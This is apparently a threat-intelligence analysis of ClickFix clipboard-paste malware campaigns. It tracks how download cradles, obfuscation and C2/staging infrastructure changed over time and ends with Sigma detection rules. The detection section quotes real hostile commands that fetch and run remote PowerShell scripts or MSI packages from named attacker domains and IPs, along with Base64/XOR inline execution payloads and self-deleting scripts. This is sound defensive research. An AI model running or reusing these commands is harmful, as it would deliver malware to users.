ClickFix Delivery Chain: Trend Analysis
Detection Chokepoint Framework
Every ClickFix variant (ClickFix, FileFix, TerminalFix, InstallFix) follows these five stages. The lure changes. The clipboard command changes. The delivery method changes. But the chain doesn't. Each badge maps to the ATT&CK technique you're actually detecting at that stage.
Two behaviors survive every variant rotation: the process spawn (T1059) and the network fetch (T1105). The user opens Run, pastes, hits Enter. That parent→child process relationship is baked into the attack primitive. And until recently, every cradle had to reach out to a staging URL to pull the payload. That's where your detection bets pay off. We'll get to why "until recently" matters below. Full detection logic is on the ClickFix Techniques chokepoint page.
Monthly Volume: Malicious Domain Count
Unique malicious ClickFix domains observed per month from the domain dataset. Volume spikes correlate with specific campaigns. The Nov 2025 surge was driven by the shift-art[.]com MSIExec campaign (669 domains).
T1105 Ingress Tool Transfer: Cradle Family Evolution
The network fetch was the unavoidable action. This chart shows how adversaries rotated their download method as defenders tuned IWR/IEX-specific detections, and why that rotation actually validates the chokepoint approach.
iwr|Invoke-WebRequest, congratulations: you forced a rotation. But if that's all you were matching, your coverage just dropped to near-zero.
verifyhumanbot[.]com / SafeAntiBotsNet campaign brought it right back. This is the whole point: cradle rotation is cyclical, not one-directional. The adversary who abandoned IWR in December picked it back up in March because defensive attention had shifted elsewhere. If you built behavioral rules (unusual parent → PowerShell → outbound fetch), you caught it both times. If you built string-match rules, you caught it, lost it, and caught it again, assuming you didn't delete the "obsolete" detection.
Evasion Technique Trends: Where Adversaries Are Adapting
Think of this chart as a conversation between attackers and defenders. Rising lines = defenders forced a change. Flat lines with spikes = a specific campaign tried something, then moved on. The trends tell you which evasion techniques are gaining traction and which were one-off experiments.
iwr https:// strings, you're seeing the encoded version now, not the decoded cradle. Detect the encoding act: [Convert]::FromBase64String piped to iex. Or detect -enc on the command line from an unusual parent. The content is opaque; the execution context isn't.
New Cradle Family: MSIExec Package Installation
In November 2025, the ClickFix chokepoint shifted underneath the detection layer. 87% of domains rotated from PowerShell cradles to msiexec /i. Same social engineering invariant, completely different execution chain. MSIExec delivery peaked at 669/767 domains before declining through Q1 2026. The technique shift demonstrates why chokepoint-anchored detection matters: PowerShell-specific rules missed the rotation entirely, but detections built around the clipboard-to-execution invariant still caught the handoff.
The shift-art[.]com campaign drove the surge: 651 domains using fake Cloudflare verification paths. The URL structure alone is worth a detection:
msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/
msiexec.exe spawning from cmd.exe or Run dialog, fetching an MSI from a non-enterprise URL. That's the same parent→child process execution chokepoint (T1059/T1218) as the PowerShell cradles. The invariant is the process relationship, not the binary name. Oct 18% → Nov 87% → Dec 34% → Jan 24% → Feb 29% → Mar 2%.
WScript/VBS: A Failed Diversification (Dec 2025 – Feb 2026)
Adversaries also tried VBS in the same diversification window. Dec 2025 (21.9%), peaked Jan (46.3%), dead by March (0%). Used CreateObject("WinHttp.WinHttpRequest.5.1") to fetch payloads via WScript. Abandoned fast. EDR catches WScript execution reliably, so this branch got pruned while WebClient and Curl survived. Not every experiment sticks.
Strategic Shift: Inline Payloads Bypassing Network Fetch Detection
Here's the finding that changes the detection calculus: 75% of April 2026 domains have no URL in the clipboard command at all. Up from 28% in August. The payload is entirely inline. The user pastes everything needed, and nothing reaches out to a staging server. Your network-fetch detection? It never fires.
Three techniques are driving this: hex XOR ($k/$d variable patterns with -bxor decoding, 62 instances in March), Base64 -enc (over half of April samples), and direct embedding with no obfuscation at all. The social engineering does double duty. Fake CAPTCHA comments inside the payload reinforce the lure:
powershell -w hidden <# I am not a robot - Cloudflare ID: 8e3f2a #> $k='xK9mP2';$d='4a5b6c...';
$b=[byte[]]@();for($i=0;$i-lt$d.Length;$i+=2){$b+=[byte]("0x"+$d.Substring($i,2))-bxor[byte]$k[$i%$k.Length]};
iex([Text.Encoding]::UTF8.GetString($b))
-enc, -bxor operations, or [Convert]::FromBase64String piped to iex. Neither detection alone is sufficient anymore. Run both.
Monthly no-URL trend: Aug 28% → Sep 32% → Oct 32% → Nov 6% → Dec 19% → Jan 44% → Feb 30% → Mar 47% → Apr 75%.
Port 5506 C2 Infrastructure Cluster
333 domains call back to port 5506 across 14 IPs in a few /24 ranges. One operator, one port, zero legitimate services using 5506. This is the kind of infrastructure fingerprint that makes network detection easy.
198[.]13[.]158[.]127:5506 (186 domains), 178[.]17[.]59[.]40:5506 (64), 78[.]40[.]209[.]164:5506 (40).
Staging Infrastructure
Where the payloads actually live. CDN-hosted staging defeats domain-reputation blocking because the infrastructure is legitimate web hosting. You can't blocklist raw.githubusercontent.com without breaking your developers' workflows. Detection has to be contextual. A network appliance fetching a shell script from GitHub and piping it to bash is anomalous regardless of the domain.
| Domain / IP | Payloads | Type | Blind spot | |
|---|---|---|---|---|
irp.cdn-website.com |
468 | CDN | Domain reputation blocklists ineffective (legitimate CDN provider) | |
|
Hosting
CDN Legitimate content delivery network
Registered
-
Status
Active
|
||||
yogasitesdev.wpengine.com |
116 | - | Managed WP hosting. Likely compromised; blocklist removes legitimate sites | |
|
Country
US
Hosting
Managed Managed hosting (likely compromised)
Registered
-
Status
Active
|
||||
aatox.com |
83 | - | - | |
|
Hosting
Unknown
Registered
-
Status
Unknown
|
||||
80.253.249.186 |
43 | IP | - | |
|
Hosting
Unknown
Status
Unknown
|
||||
95.164.53.214 |
16 | IP | - | |
|
Hosting
Unknown
Status
Unknown
|
||||
91.247.36.3 |
4 | IP | - | |
|
Hosting
Unknown
Status
Unknown
|
||||
sitecariri.com.br |
2 | - | - | |
|
Country
BR
Hosting
Unknown
Registered
-
Status
Unknown
|
||||
fundacion-cannabis-argentina.org |
2 | - | - | |
|
Country
AR
Hosting
Unknown
Registered
-
Status
Unknown
|
||||
ghenvironment.com |
2 | - | - | |
|
Hosting
Unknown
Registered
-
Status
Unknown
|
||||
cmparazinho.rn.gov.br |
2 | - | - | |
|
Country
BR
Hosting
Unknown
Registered
-
Status
Unknown
|
||||
shift-art.com |
651 | - | - | |
|
Hosting
Unknown
Registered
-
Status
Active
|
||||
ghost.nestdns.com |
137 | - | - | |
|
Hosting
Unknown
Registered
-
Status
Active
|
||||
144.31.47.76 |
140 | IP | - | |
|
Hosting
Unknown
Status
Active
|
||||
inkbookwriters.com |
112 | - | - | |
|
Hosting
Unknown
Registered
-
Status
Active
|
||||
198.13.158.127:5506 |
186 | IP | - | |
|
Hosting
Unknown
Status
Active
|
||||
178.17.59.40:5506 |
64 | IP | - | |
|
Hosting
Unknown
Status
Active
|
||||
78.40.209.164:5506 |
40 | IP | - | |
|
Hosting
Unknown
Status
Active
|
||||
penguinpublishers.org |
56 | - | - | |
|
Hosting
Unknown
Registered
-
Status
Unknown
|
||||
bfacollege.co.in |
54 | - | - | |
|
Country
IN
Hosting
Unknown
Registered
-
Status
Unknown
|
||||
pizzabyte.com.au |
44 | - | - | |
|
Country
AU
Hosting
Unknown
Registered
-
Status
Unknown
|
||||
raw.githubusercontent.com |
28 | CDN | Domain reputation blocklists ineffective (legitimate CDN provider) | |
|
Hosting
CDN Legitimate content delivery network
Registered
-
Status
Active
|
||||
Domain names and observation counts are from ClickGrab nightly reports. Hosting type is only classified when verifiable from the domain itself (e.g., *.cdn-website.com = CDN, *.wpengine.com = managed hosting). IP enrichment (ASN, geo, registrar) requires running the enrichment pipeline. Unverified entries show "Unknown."
irp.cdn-website.com appeared in 411 payload fetches. This is a legitimate CDN used by website builders. Blocking it would impact legitimate sites. Detection must shift to behavioral signals (PowerShell → network → unusual domain path) rather than domain-reputation lookup.
Detection Recommendations
Each recommendation maps to the ATT&CK technique it detects. The ones at the top survived every cradle rotation, every obfuscation pivot, and every infrastructure change in this dataset. The ones lower down are still valuable but more brittle.
explorer.exe or cmd.exe (from Run dialog) spawning powershell.exe with a window-hidden flag. This signal is constant regardless of cradle family rotation. See sigma-rules/clickfix/hunt.yml.
title: PowerShell Outbound Fetch of Script Payload
logsource:
category: network_connection
product: windows
detection:
selection_proc:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_outbound:
Initiated: 'true'
DestinationPort:
- 80
- 443
filter_internal:
DestinationIp|cidr:
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
filter_ms:
DestinationHostname|endswith:
- '.microsoft.com'
- '.windows.com'
- '.azure.com'
condition: selection_proc and selection_outbound and not (filter_internal or filter_ms)
level: high
# Pair with file_event rule matching *.ps1/*.txt/*.hta writes by the same ProcessGuid.
powershell -ep bypass -w hidden -c "iex(iwr 'https://aatox.com/stage2.ps1' -UseBasicParsing)"
powershell.exe -w hidden -nop -c "IEX (iwr -Uri 'https://irp.cdn-website.com/files/uploaded/3b7f1c/run.ps1' -UseBasicParsing).Content"
powershell -w hidden -nop -ep bypass -c "iex(irm 'https://80.253.249.186/loader.ps1')"
(New-Object Net.WebClient).DownloadString('https://yogasitesdev.wpengine.com/wp-content/uploads/a.ps1') | iex
$wc=New-Object Net.WebClient; iex $wc.DownloadString('https://irp.cdn-website.com/files/uploaded/9d4e/payload.ps1')
curl.exe -s https://95.164.53.214/payload.ps1 | iex
powershell -w hidden -nop -c "curl.exe -UseBasicParsing https://aatox.com/stg.ps1 | iex"
[Convert]::FromBase64String or [Text.Encoding]::UTF8.GetString followed immediately by iex / Invoke-Expression. The encoding act itself is detectable even when the decoded content is not. This covers the 18× Base64 increase seen in Jan 2026.
title: PowerShell Base64 Decode Piped to Invoke-Expression
logsource:
category: process_creation
product: windows
detection:
selection_proc:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_decode_exec:
CommandLine|contains|all:
- 'FromBase64String'
- 'iex'
selection_enc:
CommandLine|contains:
- '-EncodedCommand'
- '-enc '
- '-e '
condition: selection_proc and (selection_decode_exec or selection_enc)
level: high
powershell.exe -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAn...
$c=New-Object Net.WebClient; iex $c.DownloadString('https://aatox.com/run.ps1')
powershell -w 1 -nop -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMA...
IEX(New-Object Net.WebClient).DownloadString('https://irp.cdn-website.com/files/uploaded/7c2a/stage2.ps1')
%TEMP% → process execution from that path → file deletion within seconds. If artifact-based rules are your only coverage, they're now blind after execution completes. Use process execution telemetry, not file presence.
title: Script Self-Delete After Execution From TEMP
# Correlation: file_event (write) + process_creation + file_event (delete) on same ProcessGuid/TargetFilename within 10s.
logsource:
product: windows
detection:
file_write:
EventID: 11 # Sysmon File Created
TargetFilename|contains:
- '\Temp\'
- '\AppData\Local\Temp\'
TargetFilename|endswith:
- '.ps1'
- '.bat'
- '.vbs'
- '.hta'
process_exec:
EventID: 1 # Sysmon Process Create
Image: '%file_write.TargetFilename%'
file_delete:
EventID: 23 # Sysmon File Deleted
TargetFilename: '%file_write.TargetFilename%'
condition: file_write | followed_by process_exec | followed_by file_delete within 10s
level: high
Start-Sleep -Seconds 2; Remove-Item -Path $MyInvocation.MyCommand.Path -Force
$p=$MyInvocation.MyCommand.Path; Start-Sleep 1; Remove-Item $p -Force -ErrorAction SilentlyContinue
irp.cdn-website.com is a legitimate CDN. Block it and you break legitimate sites. Instead, alert on PowerShell fetching from *.cdn-website.com paths matching /files/uploaded/*.ps1. Or use JA4/TLS fingerprinting on the outbound connection rather than the destination hostname.
title: PowerShell Fetching Script From CDN Uploads Path
# Path-based detection: keep the CDN reachable for legitimate use, catch the staging pattern.
logsource:
category: proxy
detection:
selection_client:
c-useragent|contains:
- 'WindowsPowerShell'
- 'Microsoft.PowerShell'
selection_host:
r-dns|endswith: '.cdn-website.com'
selection_path:
cs-uri-path|contains: '/files/uploaded/'
cs-uri-path|endswith:
- '.ps1'
- '.txt'
- '.hta'
condition: selection_client and selection_host and selection_path
level: high
https://irp.cdn-website.com/files/uploaded/38ef2b/setup.ps1
https://irp.cdn-website.com/files/uploaded/9d4e22/loader.ps1
msiexec.exe with /i http where the URL is not a known enterprise software source, spawned from cmd.exe or explorer.exe (Run dialog). Covers the 1,027-domain MSIExec delivery campaign that peaked at 87% in Nov 2025.
msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/
msiexec /i hxxps[://]verifyhumanbot[.]com/pkg/update.msi /quiet /norestart
msiexec /i hxxp[://]198[.]13[.]158[.]127:5506/i.msi
title: MSIExec Installing Package From Remote URL via Run Dialog
logsource:
category: process_creation
product: windows
detection:
selection_proc:
Image|endswith: '\msiexec.exe'
selection_remote:
CommandLine|contains:
- '/i http://'
- '/i https://'
selection_parent:
ParentImage|endswith:
- '\cmd.exe'
- '\explorer.exe'
- '\powershell.exe'
filter_enterprise:
CommandLine|contains:
- 'microsoft.com'
- 'windowsupdate.com'
- 'office.com'
condition: selection_proc and selection_remote and selection_parent and not filter_enterprise
level: high
-enc flag or XOR decode operations (-bxor, [byte], [char]) spawned from unusual parent (Run dialog chain). Also: [Convert]::FromBase64String followed by iex. Covers the 28% → 75% growth in inline payloads that skip the network fetch entirely. Run alongside network-fetch detection. Both are needed for full coverage.
powershell -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGEAZAAuAGUAeABhAG0AcABsAGUALwBwAC4AcABzADEAIgApAA==
powershell -c "$b=[Convert]::FromBase64String('...'); iex ([System.Text.Encoding]::UTF8.GetString($b))"
powershell -c "$k=0x13; $e=@(0x42,0x17,0x26,...); -join($e|%{[char]($_ -bxor $k)})|iex"
title: PowerShell Inline Decode-and-Execute (No Network Fetch)
logsource:
category: process_creation
product: windows
detection:
selection_proc:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_encoded:
CommandLine|contains:
- '-EncodedCommand'
- '-enc '
- '-e '
selection_xor:
CommandLine|contains|all:
- '-bxor'
- '[char]'
selection_b64_iex:
CommandLine|contains|all:
- 'FromBase64String'
- 'iex'
selection_parent:
ParentImage|endswith:
- '\explorer.exe'
- '\cmd.exe'
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
condition: selection_proc and selection_parent and (selection_encoded or selection_xor or selection_b64_iex)
level: high
# Run alongside the cradle-agnostic network fetch rule. Both are needed.